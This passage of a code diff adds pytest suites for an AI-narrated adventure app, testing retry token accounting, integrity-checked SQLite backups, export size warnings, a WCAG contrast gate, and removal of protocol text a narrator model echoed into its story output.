+    shared = {"tokens": {"estimate": 3000}, "sections": [], "window": {"verified": True}}
+    first = Node(shared | {"raw_output": "one", "usage": {"prompt_tokens": 3015},
+                           "accounting": {"status": contextwindow.FITS, "server_prompt_tokens": 3015}})
+    second = Node({"raw_output": "two", "usage": {"prompt_tokens": 12},
+                   "accounting": {"status": contextwindow.TRUNCATION_SUSPECTED,
+                                  "server_prompt_tokens": 12}})
+
+    # Superseded by a retry: the old attempt keeps only its own slices.
+    attempts.keep_own_slices(Node(dict(first.context_snapshot)))
+    demoted = Node(dict(first.context_snapshot))
+    attempts.keep_own_slices(demoted)
+    assert demoted.context_snapshot["accounting"]["server_prompt_tokens"] == 3015
+    assert "tokens" not in demoted.context_snapshot
+
+    # The prompt moves to the second attempt; each keeps its own accounting.
+    attempts.hand_over_the_prompt(first, second)
+    assert second.context_snapshot["tokens"] == {"estimate": 3000}
+    assert second.context_snapshot["accounting"]["status"] == contextwindow.TRUNCATION_SUSPECTED
+    assert second.context_snapshot["accounting"]["server_prompt_tokens"] == 12
+    assert first.context_snapshot["accounting"]["status"] == contextwindow.FITS
+    assert "tokens" not in first.context_snapshot
+
+
+def test_a_retry_leaves_each_take_with_its_own_accounting(client, monkeypatch):
+    """End to end, through the real retry route. Before the fix the live take
+    inherited the superseded take's accounting, so the inspector could show one
+    call's server count as another's."""
+    response = _play(client, monkeypatch, None, reply="The first take.")
+    assert response.status_code == 200, response.text[:300]
+    estimate = _latest_ai(client.adv_id).context_snapshot["tokens"]["estimate"]
+    # Replay the first take with a real count, so it has accounting of its own.
+    with SessionLocal() as db:
+        first = (db.query(models.Action)
+                 .filter(models.Action.adventure_id == client.adv_id,
+                         models.Action.type == "ai")
+                 .options(undefer(models.Action.context_snapshot)).first())
+        snapshot = dict(first.context_snapshot)
+        snapshot["accounting"] = contextwindow.classify_usage(
+            {"prompt_tokens": estimate + 15}, estimate=estimate, budget=4096,
+            max_output_tokens=500, window_verified=True)
+        first.context_snapshot = snapshot
+        db.commit()
+        first_id = first.id
+
+    monkeypatch.setattr(ScriptedProvider, "last_usage",
+                        {"prompt_tokens": 12, "completion_tokens": 9})
+    ScriptedProvider.replies = ["The second take."]
+    retried = client.post(f"/api/adventures/{client.adv_id}/retry")
+    assert retried.status_code == 200, retried.text[:300]
+
+    with SessionLocal() as db:
+        rows = (db.query(models.Action)
+                .filter(models.Action.adventure_id == client.adv_id,
+                        models.Action.type == "ai")
+                .options(undefer(models.Action.context_snapshot))
+                .order_by(models.Action.id).all())
+        by_id = {row.id: row for row in rows}
+        old = by_id[first_id]
+        new = [row for row in rows if row.id != first_id][-1]
+        assert new.text == "The second take."
+        assert new.live and not old.live
+        # The superseded take keeps its own accounting and gives up the prompt.
+        assert old.context_snapshot["accounting"]["status"] == contextwindow.FITS
+        assert old.context_snapshot["accounting"]["server_prompt_tokens"] == estimate + 15
+        assert "tokens" not in old.context_snapshot
+        # The live take carries the prompt and its own accounting, not the old one's.
+        assert "tokens" in new.context_snapshot
+        assert new.context_snapshot["accounting"]["status"] == (
+            contextwindow.TRUNCATION_SUSPECTED)
+        assert new.context_snapshot["accounting"]["server_prompt_tokens"] == 12
+
+
+def test_an_exceeded_turn_is_also_kept(client, monkeypatch):
+    response = _play(client, monkeypatch, {"prompt_tokens": 3900, "completion_tokens": 9})
+    assert response.status_code == 200
+    action = _latest_ai(client.adv_id)
+    assert action.text == "The crypt is still sealed."
+    assert action.context_snapshot["accounting"]["status"] == contextwindow.EXCEEDED

backend/tests/test_v11_d_recovery.py

@@ -0,0 +1,294 @@
+"""v1.1 WP-D: a backup that was really checked, and an export that says what it is.
+
+Two recovery-path claims, each of which was true only in the small before this
+package:
+
+- **A backup is verified.** M9 ran `PRAGMA quick_check` on the finished copy.
+  That reads every page and every record, and skips the cross-check between a
+  table and its indexes — so a copy whose index disagrees with its table passed.
+  `test_the_fixture_is_the_difference_between_the_two_checks` builds exactly that
+  damage and shows the two pragmas disagreeing about it, before anything here
+  uses it as evidence.
+- **An export is importable.** Nothing compared the bundle with
+  `limits.MAX_IMPORT_BODY_BYTES`, so a campaign could be exported and then
+  refused by its own importer, with the reader finding out at the moment they
+  needed it. The export still succeeds — the file is complete, and a version
+  that refused to write it would destroy the copy someone was trying to make —
+  and now it says so.
+
+    python -m pytest tests/test_v11_d_recovery.py -v
+"""
+
+import json
+import sqlite3
+from pathlib import Path
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, backup, limits, models
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+
+
+@pytest.fixture()
+def client():
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="wp-d@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(user_id=user.id, model="test-model"))
+    adventure = models.Adventure(user_id=user.id, title="Recovery")
+    setup.add(adventure)
+    setup.flush()
+    setup.add(models.Action(adventure_id=adventure.id, type="start", text="The story opens."))
+    setup.commit()
+    adv_id, user_id = adventure.id, user.id
+    setup.close()
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id))
+    test_client = TestClient(app)
+    test_client.adv_id = adv_id
+    test_client.user_id = user_id
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+# ------------------------------------------------------------ the fixture
+
+def build_corrupt_copy(path: Path) -> None:
+    """A database whose index disagrees with its table, and nothing else.
+
+    One digit inside one index leaf page is changed, so that entry names a key
+    no row holds and one row's key is in no index entry. Every page is still
+    structurally sound and every record still parses, which is the whole point:
+    this is the damage `quick_check` is not looking for.
+    """
+    path.unlink(missing_ok=True)
+    connection = sqlite3.connect(path)
+    connection.execute("PRAGMA page_size=4096")
+    connection.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, k TEXT NOT NULL, filler TEXT)")
+    connection.execute("CREATE INDEX i_t_k ON t(k)")
+    connection.executemany("INSERT INTO t (k, filler) VALUES (?, ?)",
+                           [(f"k{n:06d}", "x" * 40) for n in range(400)])
+    connection.commit()
+    page_size = connection.execute("PRAGMA page_size").fetchone()[0]
+    leaves = [row[0] for row in connection.execute(
+        "SELECT pageno FROM dbstat WHERE name='i_t_k' AND pagetype='leaf' ORDER BY pageno")]
+    connection.close()
+    assert leaves, "the index must have a leaf page to damage"
+
+    raw = bytearray(path.read_bytes())
+    start = (leaves[0] - 1) * page_size
+    page = raw[start:start + page_size]
+    at = page.find(b"k000")
+    assert at != -1, "expected an indexed key on the index's first leaf page"
+    page[at + 4] = ord("9")  # k000144 -> k000944: a key no row has
+    raw[start:start + page_size] = page
+    path.write_bytes(bytes(raw))
+
+
+def check(path: Path, pragma: str) -> str:
+    connection = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
+    try:
+        return ", ".join(str(row[0]) for row in connection.execute(f"PRAGMA {pragma}").fetchall())
+    finally:
+        connection.close()
+
+
+def test_the_fixture_is_the_difference_between_the_two_checks(tmp_path):
+    """Before using it as evidence: quick_check calls this database fine."""
+    damaged = tmp_path / "damaged.db"
+    build_corrupt_copy(damaged)
+    assert check(damaged, "quick_check") == "ok"
+    integrity = check(damaged, "integrity_check")
+    assert integrity != "ok"
+    assert "i_t_k" in integrity  # it names the index that disagrees
+
+
+# ---------------------------------------------------------------- backups
+
+def test_a_healthy_backup_passes_the_full_check_and_is_kept(client, tmp_path):
+    source = tmp_path / "campaign.db"
+    source.write_bytes(Path(str(engine.url.database)).read_bytes())
+    result = backup.create(source)
+    assert result.integrity == "ok"
+    assert result.path.exists() and result.bytes > 0
+    assert check(result.path, "integrity_check") == "ok"
+    assert result.path.parent == backup.directory(source)
+
+
+def test_the_backup_runs_the_full_check_not_the_quick_one(client, tmp_path, monkeypatch):
+    """The pragma itself, named. SQLite traces every statement it executes, so
+    this reads what the backup actually asked the copy rather than inferring it."""
+    asked: list[str] = []
+    real_connect = sqlite3.connect
+
+    def tracing(*args, **kwargs):
+        connection = real_connect(*args, **kwargs)
+        connection.set_trace_callback(asked.append)
+        return connection
+
+    monkeypatch.setattr(backup.sqlite3, "connect", tracing)
+    source = tmp_path / "campaign.db"
+    source.write_bytes(Path(str(engine.url.database)).read_bytes())
+    backup.create(source).path.unlink()
+    assert any("integrity_check" in sql for sql in asked), asked
+    assert not any("quick_check" in sql for sql in asked), asked
+
+
+def test_a_copy_the_full_check_rejects_is_not_kept(client, tmp_path, monkeypatch):
+    """The copy is damaged after it is written and before it is verified, which
+    is where a real page-level fault would appear: between the copy and the
+    rename. Nothing wearing a backup's name may be left behind."""
+    source = tmp_path / "campaign.db"
+    source.write_bytes(Path(str(engine.url.database)).read_bytes())
+    real_copy = backup._copy
+
+    def damage(source_path, working):
+        pages = real_copy(source_path, working)
+        build_corrupt_copy(working)
+        return pages
+
+    monkeypatch.setattr(backup, "_copy", damage)
+    with pytest.raises(backup.BackupError) as refused:
+        backup.create(source)
+    assert "did not verify" in str(refused.value)
+    assert "i_t_k" in str(refused.value)  # it says what was wrong
+    kept = list(backup.directory(source).glob("*"))
+    assert kept == [], f"a rejected backup was left behind: {kept}"
+
+
+def test_a_rejected_backup_leaves_an_earlier_good_one_alone(client, tmp_path, monkeypatch):
+    source = tmp_path / "campaign.db"
+    source.write_bytes(Path(str(engine.url.database)).read_bytes())
+    good = backup.create(source)
+    before = good.path.read_bytes()
+
+    real_copy = backup._copy
+
+    def damage(source_path, working):
+        pages = real_copy(source_path, working)
+        build_corrupt_copy(working)
+        return pages
+
+    monkeypatch.setattr(backup, "_copy", damage)
+    with pytest.raises(backup.BackupError):
+        backup.create(source)
+    assert good.path.exists()
+    assert good.path.read_bytes() == before
+    assert check(good.path, "integrity_check") == "ok"
+    assert [p.name for p in backup.directory(source).glob("*")] == [good.path.name]
+
+
+def test_the_backup_file_semantics_are_unchanged(client, tmp_path):
+    """Same directory, same stamped name, same reported fields: WP-D changed the
+    check, not the file."""
+    source = tmp_path / "campaign.db"
+    source.write_bytes(Path(str(engine.url.database)).read_bytes())
+    first = backup.create(source)
+    second = backup.create(source)
+    assert first.path.name.startswith(backup.PREFIX) and first.path.suffix == ".db"
+    assert first.path != second.path, "an existing backup is never overwritten"
+    assert set(first.as_dict()) == {"filename", "bytes", "pages", "seconds", "integrity"}
+    listed = [row["filename"] for row in backup.existing(source)]
+    assert sorted(listed) == sorted([first.path.name, second.path.name])
+
+
+# ----------------------------------------------------------------- exports
+
+def export(client, adv_id):
+    response = client.get(f"/api/adventures/{adv_id}/export")
+    assert response.status_code == 200, response.text[:200]
+    return response
+
+
+def test_a_normal_export_carries_no_warning(client):
+    response = export(client, client.adv_id)
+    assert "X-Export-Warning" not in response.headers
+    assert response.headers["X-Importable-By-This-Version"] == "true"
+    assert int(response.headers["X-Import-Limit-Bytes"]) == limits.MAX_IMPORT_BODY_BYTES
+    assert int(response.headers["X-Export-Bytes"]) == len(response.content)
+    assert response.json()["format"] == "ai-dnd-adventure-v3"
+
+
+def fill_past_the_limit(adv_id: int) -> int:
+    """Real rows, until the campaign's bundle is genuinely over the ceiling.
+
+    Not a mocked size: the export below serialises all of it.
+    """
+    chunk = "The rain kept on over the harbour road, and nobody came. " * 900  # ~50 kB
+    written = 0
+    with SessionLocal() as db:
+        while written < limits.MAX_IMPORT_BODY_BYTES + 2 * 1024 * 1024:
+            db.add_all([models.Action(adventure_id=adv_id, type="ai", text=chunk)
+                        for _ in range(40)])
+            db.commit()
+            written += 40 * len(chunk)
+    return written
+
+
+def test_an_oversized_export_is_still_delivered_and_says_it_cannot_come_back(client):
+    fill_past_the_limit(client.adv_id)
+    response = export(client, client.adv_id)
+
+    # Delivered, whole, and still the same format.
+    body = response.content
+    assert len(body) > limits.MAX_IMPORT_BODY_BYTES
+    parsed = json.loads(body)
+    assert parsed["format"] == "ai-dnd-adventure-v3"
+    assert len(parsed["actions"]) > 40
+
+    # And honest about what this version can do with it.
+    assert response.headers["X-Importable-By-This-Version"] == "false"
+    warning = response.headers["X-Export-Warning"]
+    assert limits.import_limit_label() in warning
+    assert "exported successfully" in warning
+    assert "cannot import" in warning
+    assert int(response.headers["X-Export-Bytes"]) == len(body)
+
+
+def test_the_warning_follows_the_configured_limit(monkeypatch):
+    """The text is generated from the constant, so changing the constant changes
+    the sentence rather than leaving a stale number in it."""
+    assert "20 MB" in limits.oversized_export_warning(21_000_000)
+    monkeypatch.setattr(limits, "MAX_IMPORT_BODY_BYTES", 50 * 1024 * 1024)
+    assert limits.import_limit_label() == "50 MB"
+    assert "50 MB" in limits.oversized_export_warning(60_000_000)
+    assert "20 MB" not in limits.oversized_export_warning(60_000_000)
+
+
+def test_the_bundle_itself_never_carries_the_warning(client):
+    """The warning is about the export, not part of the portable story file."""
+    fill_past_the_limit(client.adv_id)
+    parsed = json.loads(export(client, client.adv_id).content)
+    flat = json.dumps(parsed).lower()
+    assert "import limit" not in flat
+    assert "cannot import" not in flat
+    for key in parsed:
+        assert "warning" not in key.lower()
+
+
+def test_that_same_bundle_is_refused_by_import_naming_the_limit(client):
+    fill_past_the_limit(client.adv_id)
+    body = export(client, client.adv_id).content
+    response = client.post("/api/adventures/import", content=body,
+                           headers={"Content-Type": "application/json"})
+    assert response.status_code == 413
+    detail = response.json()["detail"]
+    assert "too large" in detail.lower()
+    assert limits.import_limit_label() in detail
+
+
+def test_a_bundle_under_the_limit_still_imports(client):
+    """The refusal is about size alone: the ordinary path is untouched."""
+    body = export(client, client.adv_id).content
+    assert len(body) < limits.MAX_IMPORT_BODY_BYTES
+    response = client.post("/api/adventures/import", content=body,
+                           headers={"Content-Type": "application/json"})
+    assert response.status_code == 201, response.text[:200]

backend/tests/test_v11_e_contrast.py

@@ -0,0 +1,152 @@
+"""v1.1 WP-E: the contrast audit is a gate, not a report.
+
+Before this package `tools/contrast_audit.py` measured control boundaries,
+printed that two of them were below 3:1, and exited 0 anyway — on the argument
+that a control is identified by its label rather than its edge. A check that
+cannot fail is not a check, and these tests are what make it one: the threshold
+is exercised from both sides, on a real tokens file, so a future palette change
+that dims a control's edge stops the run instead of adding a line to it.
+
+    python -m pytest tests/test_v11_e_contrast.py -v
+"""
+
+import sys
+from pathlib import Path
+
+import pytest
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "tools"))
+
+import contrast_audit as audit  # noqa: E402
+
+
+# --------------------------------------------------------------- the maths
+
+def test_the_ratio_is_the_wcag_ratio():
+    """Anchored on values with known answers, so a broken formula is visible."""
+    assert audit.ratio("#ffffff", "#000000") == pytest.approx(21.0, abs=0.01)
+    assert audit.ratio("#ffffff", "#ffffff") == pytest.approx(1.0, abs=0.001)
+    # Order does not matter: contrast is symmetric.
+    assert audit.ratio("#131320", "#676792") == pytest.approx(
+        audit.ratio("#676792", "#131320"), abs=1e-9)
+
+
+# ------------------------------------------------------- the gate itself
+
+def tokens_file(tmp_path: Path, **overrides: str) -> Path:
+    """A real tokens file with named colours replaced."""
+    source = audit.TOKENS.read_text()
+    for name, value in overrides.items():
+        token = "--" + name.replace("_", "-")
+        start = source.index(f"{token}: ")
+        end = source.index(";", start)
+        source = source[:start] + f"{token}: {value}" + source[end:]
+    written = tmp_path / "tokens.css"
+    written.write_text(source)
+    return written
+
+
+def run_against(path: Path, monkeypatch) -> int:
+    monkeypatch.setattr(audit, "TOKENS", path)
+    return audit.main()
+
+
+def test_a_boundary_below_three_to_one_fails_the_run(tmp_path, monkeypatch, capsys):
+    """2.99:1 against --bg-input — the wrong side of the line by one hundredth.
+
+    This value clears 3:1 against --bg-panel (3.21:1), so it would have passed
+    the audit as M11 wrote it. It fails now because the floor is taken against
+    the background the control is actually drawn on.
+    """
+    below = tokens_file(tmp_path, border="#58639a")
+    assert run_against(below, monkeypatch) == 1
+    printed = capsys.readouterr().out
+    assert "2.99:1" in printed
+    assert "FAIL" in printed
+    assert "below 3:1 (WCAG 1.4.11)" in printed
+
+
+def test_a_boundary_at_three_to_one_passes(tmp_path, monkeypatch, capsys):
+    """3.00:1 — the right side of the same line, one hundredth from the value
+    above, and not failed for arithmetic the reader cannot see."""
+    at = tokens_file(tmp_path, border="#58639b")
+    assert run_against(at, monkeypatch) == 0
+    printed = capsys.readouterr().out
+    assert "3.00:1" in printed
+    assert "every control boundary clears 3:1" in printed
+
+
+def test_the_v1_0_0_boundary_would_now_fail(tmp_path, monkeypatch, capsys):
+    """The value v1.0.0 shipped. This is the defect WP-E closes, and the gate
+    has to be the thing that would have caught it."""
+    shipped = tokens_file(tmp_path, border="#2b2b3d")
+    assert run_against(shipped, monkeypatch) == 1
+    assert "1.24:1" in capsys.readouterr().out  # against --bg-input, the worst case
+
+
+def test_a_text_pair_below_four_point_five_still_fails(tmp_path, monkeypatch, capsys):
+    """WP-E raised the boundary floor and must not have lowered the text one."""
+    dimmed = tokens_file(tmp_path, text_dim="#5a5750")
+    assert run_against(dimmed, monkeypatch) == 1
+    assert "below WCAG AA (1.4.3)" in capsys.readouterr().out
+
+
+def test_a_missing_token_is_a_failure_not_a_skip(tmp_path, monkeypatch, capsys):
+    source = audit.TOKENS.read_text().replace("--border-bright:", "--border-was-renamed:")
+    written = tmp_path / "tokens.css"
+    written.write_text(source)
+    assert run_against(written, monkeypatch) == 1
+    assert "MISSING TOKEN" in capsys.readouterr().out
+
+
+# ------------------------------------------------- the shipped palette
+
+def test_the_real_tokens_pass_both_criteria(capsys):
+    """The palette as it stands, through the same gate CI would run."""
+    assert audit.main() == 0
+    printed = capsys.readouterr().out
+    assert "every text pair clears WCAG AA (1.4.3)" in printed
+    assert "every control boundary clears 3:1 (1.4.11)" in printed
+    assert "FAIL" not in printed
+
+
+def test_every_boundary_pair_is_measured_against_the_background_it_is_drawn_on():
+    """The audit used to check borders only against --bg-panel, which is not
+    where the bordered controls are: inputs and buttons sit on --bg-input
+    (styles/forms.css), which is lighter and therefore harder. Checking only the
+    easier background would let a token pass while the real control failed."""
+    boundary = [(fg, bg) for kind, fg, bg, _, _ in audit.PAIRS if kind == "boundary"]
+    for background in ("--bg-input", "--bg-panel", "--bg"):
+        assert ("--border", background) in boundary, background
+    assert ("--border-bright", "--bg-input") in boundary
+
+
+def test_the_text_baselines_are_unchanged_by_wp_e():
+    """WP-E changed only boundary tokens. These are the M11 text measurements,
+    and they have to still be exactly what the earlier reports recorded."""
+    tokens = audit.read_tokens(audit.TOKENS)
+    measured = {
+        "body text on the page": audit.ratio(tokens["--text"], tokens["--bg"]),
+        "body text in a panel": audit.ratio(tokens["--text"], tokens["--bg-panel"]),
+        "secondary text in a panel": audit.ratio(tokens["--text-dim"], tokens["--bg-panel"]),
+        "secondary text on the page": audit.ratio(tokens["--text-dim"], tokens["--bg"]),
+    }
+    assert measured["body text on the page"] == pytest.approx(14.57, abs=0.01)
+    assert measured["body text in a panel"] == pytest.approx(13.57, abs=0.01)
+    assert measured["secondary text in a panel"] == pytest.approx(5.48, abs=0.01)
+    assert measured["secondary text on the page"] == pytest.approx(5.88, abs=0.01)
+
+
+def test_the_hover_edge_stays_brighter_than_the_resting_edge():
+    """Rest and hover have to remain distinguishable from each other, not merely
+    each clear the floor against the background."""
+    tokens = audit.read_tokens(audit.TOKENS)
+    panel = tokens["--bg-panel"]
+    assert audit.ratio(tokens["--border-bright"], panel) > audit.ratio(tokens["--border"], panel)
+
+
+def test_a_boundary_never_becomes_as_loud_as_body_text():
+    """A control's edge that outshines the words inside it is its own defect."""
+    tokens = audit.read_tokens(audit.TOKENS)
+    panel = tokens["--bg-panel"]
+    assert audit.ratio(tokens["--border-bright"], panel) < audit.ratio(tokens["--text"], panel)

backend/tests/test_v11_protocol_echo.py

@@ -0,0 +1,324 @@
+"""v1.1 WP-A2: the protocol a narrator copies stays out of the story, and nothing else does.
+
+The M11 closeout's identity run (an office meeting, a 3B narrator, a 4,096
+window) stored four turns carrying text the application wrote, not the story:
+
+- `> Create_entity(new_person, "john", …` — the event vocabulary as the prompt
+  printed it, `name(field, …)`, copied as if it were a call;
+- `> set_possession(silver-key, "alice") Adds the silver key to Alice's
+  possession.` — the call again, naming the fantasy example slug from the fixed
+  state rule, in a meeting room;
+- `Scene: Bill, Alice, … (at The meeting room)` — the renderer's own scene line;
+- `[Hard limit: your next turn must not exceed 180 words, … append the state
+  block well inside the limit.]` — the length hint, reworded at the front and
+  verbatim at the end.
+
+v1.0.0 removed none of them. The rule this module is held to is unchanged from
+M5: **removing story is worse than leaving protocol.** Every removal below is
+anchored to a string or a vocabulary the application owns, and every one has
+story beside it that must survive.
+
+    python -m pytest tests/test_v11_protocol_echo.py -v
+"""
+
+import json
+import re
+
+import pytest
+
+from app.context import builder
+from app.narrative import events, extract, render
+
+# ---------------------------------------------------------------- the prompt
+
+#: The identifiers the v1 state rule taught every campaign, from the fantasy
+#: acceptance fixture. None may come back into a fixed instruction.
+FANTASY_IDENTIFIERS = ("mara", "silver-key", "silver key", "old-abbey", "abbey",
+                       "aldric", "westhaven", "crypt", "edrin")
+#: And nothing from the science-fiction fixture either: neutral means neutral,
+#: not "the other genre".
+SCIFI_IDENTIFIERS = ("persephone", "imani", "data-crystal", "data crystal", "airlock")
+
+
+def _fixed_instructions() -> str:
+    return "\n".join([
+        extract.EMIT_RULE,
+        extract.EMIT_REMINDER,
+        events.vocabulary_for_prompt(),
+        builder.length_hint(500),
+        builder.length_hint(500, "brief"),
+        builder.length_hint(500, "long"),
+        builder.length_hint(120),
+    ]).lower()
+
+
+@pytest.mark.parametrize("identifier", FANTASY_IDENTIFIERS + SCIFI_IDENTIFIERS)
+def test_the_fixed_state_instructions_name_no_fixture_identifier(identifier):
+    """A2-1. The example slug the office run copied cannot come back."""
+    assert not re.search(rf"\b{re.escape(identifier)}\b", _fixed_instructions())
+
+
+def test_the_example_uses_neutral_identifiers():
+    for neutral in ("character-1", "item-1", "location-1"):
+        assert neutral in extract.EMIT_RULE
+
+
+def test_the_worked_example_is_a_block_this_extractor_accepts():
+    """The example is the wire format, byte for byte, not an illustration of it."""
+    example = extract.EMIT_RULE[extract.EMIT_RULE.index("```state"):]
+    prose, parsed, _raw = extract.split("The door opens.\n\n" + example)
+    assert prose == "The door opens."
+    assert isinstance(parsed, dict)
+    assert [e["type"] for e in parsed["events"]] == [
+        "set_possession", "set_current_location"]
+    for event in parsed["events"]:
+        assert events.is_allowed(event["type"])
+
+
+def test_the_vocabulary_is_not_written_as_function_calls():
+    """A2-2. `set_possession(item, owner)` is the notation the narrator copied."""
+    vocabulary = events.vocabulary_for_prompt()
+    for name in events.SPECS:
+        assert not re.search(rf"\b{name}\s*\(", vocabulary), name
+
+
+def test_every_event_is_described_in_the_shape_the_model_must_send():
+    lines = events.vocabulary_for_prompt().splitlines()
+    assert len(lines) == len(events.SPECS)
+    for name, line in zip(events.SPECS, lines):
+        shape = line.strip().split(" — ", 1)[0]
+        obj = json.loads(shape)
+        assert obj["type"] == name
+        assert set(obj) - {"type"} == set(events.SPECS[name]["required"])
+        for optional in events.SPECS[name]["optional"]:
+            assert optional in line
+
+
+def test_the_length_hint_carries_the_phrases_the_extractor_recognises():
+    """One source for the words, so the builder and the extractor cannot drift."""
+    for narration_length in ("", "brief", "medium", "long"):
+        hint = builder.length_hint(500, narration_length)
+        assert hint.startswith(extract.LENGTH_HINT_OPENING)
+        assert extract.LENGTH_HINT_TAIL in hint
+
+
+# ---------------------------------------------------------- observed shapes
+
+STORY = (
+    "Alice looks at John, the tension in the room palpable.\n\n"
+    "John nods. \"I'm ready to contribute.\""
+)
+
+
+@pytest.mark.parametrize("leak", [
+    # Depth 20: the call, the fantasy slug, and a gloss on the same line.
+    '> set_possession(silver-key, "alice") Adds the silver key to Alice\'s possession.',
+    # Depth 10: cut off by the output limit mid-call.
+    '> Create_entity(new_person, "john", "character", "A determined team member", ["john',
+    # Unquoted, and a vocabulary name in any case.
+    'SET_CURRENT_LOCATION(bill, office)',
+    'add_fact(predicate="knows the plan", subject="alice")',
+])
+def test_an_event_call_line_at_the_end_leaves_the_story(leak):
+    prose, parsed, _raw = extract.split(f"{STORY}\n\n{leak}")
+    assert prose == STORY
+    assert parsed is None
+
+
+def test_an_event_call_line_in_the_middle_leaves_and_the_story_after_it_stays():
+    """Depth 12: the call, then more narration."""
+    reply = (
+        f"{STORY}\n\n"
+        '> Create_entity(new_person, "mike", "character", "A new team member.", ["mike"])\n\n'
+        "Mike takes the empty chair by the window."
+    )
+    prose, _parsed, _raw = extract.split(reply)
+    assert prose == f"{STORY}\n\nMike takes the empty chair by the window."
+
+
+def test_the_depth_fourteen_tail_leaves_entirely():
+    """A call, a rendered scene line, and a reworded length hint, in that order."""
+    reply = (
+        f"{STORY}\n\n"
+        '> Create_entity(mike, "character", "A new team member.", ["mike"])\n\n'
+        "Scene: Bill, Alice, Roger, John, and Mike at the table. (at The meeting room)\n\n"
+        "[Hard limit: your next turn must not exceed 180 words, and it should not stop "
+        "short of about 70. Prefer the lower end of that range unless the scene genuinely "
+        "needs more. Finish the narration and append the state block well inside the limit.]"
+    )
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == STORY
+    assert parsed is None
+
+
+@pytest.mark.parametrize("hint", [
+    builder.length_hint(500),
+    builder.length_hint(500, "brief"),
+    # Cut off by the output limit before the tail.
+    "[Hard limit: this turn must not exceed 180 words, and it should not stop short",
+    # Reworded at the front, as the 3B narrator did.
+    "[Hard limit: your next turn must not exceed 506 words. Write only as much as the "
+    "moment needs — a typical turn is much shorter. Finish the narration and append "
+    "the state block well inside the limit.]",
+])
+def test_a_parroted_length_hint_at_the_end_leaves_the_story(hint):
+    prose, _parsed, _raw = extract.split(f"{STORY}\n\n{hint}")
+    assert prose == STORY
+
+
+def test_a_rendered_scene_line_at_the_end_leaves_the_story():
+    prose, _parsed, _raw = extract.split(
+        f"{STORY}\n\nScene: A tense budget meeting. (at The meeting room)")
+    assert prose == STORY
+
+
+def test_a_fenced_block_with_a_call_line_above_it_still_parses_and_applies():
+    """A2-6. The proposal is still read when protocol litter surrounds it."""
+    reply = (
+        f"{STORY}\n\n"
+        '> set_current_location(john, office)\n\n'
+        '```state\n{"events": [{"type": "set_current_location", '
+        '"entity": "john", "location": "office"}]}\n```'
+    )
+    prose, parsed, raw = extract.split(reply)
+    assert prose == STORY
+    assert parsed["events"][0]["entity"] == "john"
+    assert raw.startswith("{")
+
+
+# ------------------------------------------------ adversarial story that stays
+
+@pytest.mark.parametrize("reply", [
+    # The owner's cases.
+    'The engineer writes "set_power(core, 80)" on the whiteboard.',
+    'She says, "Create_entity is a terrible name for a company."',
+    'The old manual contains a heading labeled "Scene:"',
+    'He reads aloud: "[Hard limit: 500 words]" and laughs.',
+    # A vocabulary name, written into a story, not at the start of a line.
+    'Nadia squints at the log: the last command was set_possession(badge, guard).',
+    # Call-shaped, at the start of a line, but not an event this protocol has.
+    "The terminal scrolls.\n\n> open_door(north)\n\nNothing happens.",
+    # A vocabulary call inside the story's own code block is the story's code.
+    "She types:\n\n```python\ncreate_entity(ship)\nset_possession(key, captain)\n```\n\n"
+    "The console beeps twice.",
+    # A bracket at the very end, in-world, that is not the application's hint.
+    "The warning light blinks.\n\n[Hard limit of the reactor: three hours]",
+    "The contract ends with a clause.\n\n[Hard limit: forty days, no extensions]",
+    # A scene heading in a screenplay the characters are writing, mid-story.
+    "Scene: a kitchen, late.\n\nShe crosses it out and starts again.",
+    # A last line that starts like the renderer's but is not its shape.
+    "The director calls it.\n\nScene: take two, and nobody moves.",
+    # A fact restated inside a sentence.
+    "Alice knew the badge opened the server room, and said nothing.",
+    "Memory: she remembered the bells.",
+])
+def test_story_that_resembles_the_new_rules_is_kept(reply):
+    """A2-5."""
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == reply
+    assert parsed is None
+
+
+# ------------------------------------------------------ the replay attribution
+
+@pytest.mark.parametrize("line, rule", [
+    ('> set_possession(silver-key, "alice") Adds the key.', extract.RULE_EVENT_CALL),
+    ("Create_entity(new_person", extract.RULE_EVENT_CALL),
+    ("[Hard limit: this turn must not exceed 90 words. Finish the narration and append "
+     "the state block well inside the limit.]", extract.RULE_LENGTH_HINT),
+    ("Scene: A meeting. (at The meeting room)", extract.RULE_SCENE_LINE),
+    ("John nods.", None),
+    ('He reads aloud: "[Hard limit: 500 words]" and laughs.', None),
+])
+def test_a_removed_line_is_attributed_to_the_rule_that_removes_it(line, rule):
+    assert extract.explain_removed_line(line) == rule
+
+
+# ------------------------------------- corrective: the depth-16 instruction tail
+
+#: Cut down from the v1.1 identity diagnostic's depth-16 turn, whose stored text
+#: was exactly the extractor's output. The two story paragraphs are shortened;
+#: the four trailing lines are verbatim.
+DEPTH_16_STORY = (
+    "John's initial ideas are thoughtful and insightful, and the room fills with a "
+    "sense of optimism.\n\n"
+    "John's enthusiasm is contagious, and the meeting room is electric with the "
+    "excitement of a fruitful collaboration ahead."
+)
+DEPTH_16_TAIL = (
+    "Scene: Bill, Alice and Roger at the table; John not yet arrived.\n\n"
+    "[Hard limit: this is now 180 words.]\n\n"
+    "[Reminder: end your reply with a `state` block listing the events your narration "
+    "made true, with absolute values.]\n\n"
+    "[You don't need to continue; your turn must now be about John entering the room. "
+    "Continue the story here, directly. Output only story text.]"
+)
+
+
+def test_the_depth_sixteen_instruction_tail_leaves_entirely():
+    """The corrective's positive regression. v1.1's first A2 left all four lines:
+    the last bracket was a reworded continue hint nothing recognised, so nothing
+    above it was ever at the end."""
+    prose, parsed, _raw = extract.split(f"{DEPTH_16_STORY}\n\n{DEPTH_16_TAIL}")
+    assert prose == DEPTH_16_STORY
+    assert parsed is None
+
+
+def test_the_continue_hint_phrase_is_the_providers_own_sentence():
+    from app.providers.openai_compatible import CHAT_CONTINUE_HINT
+
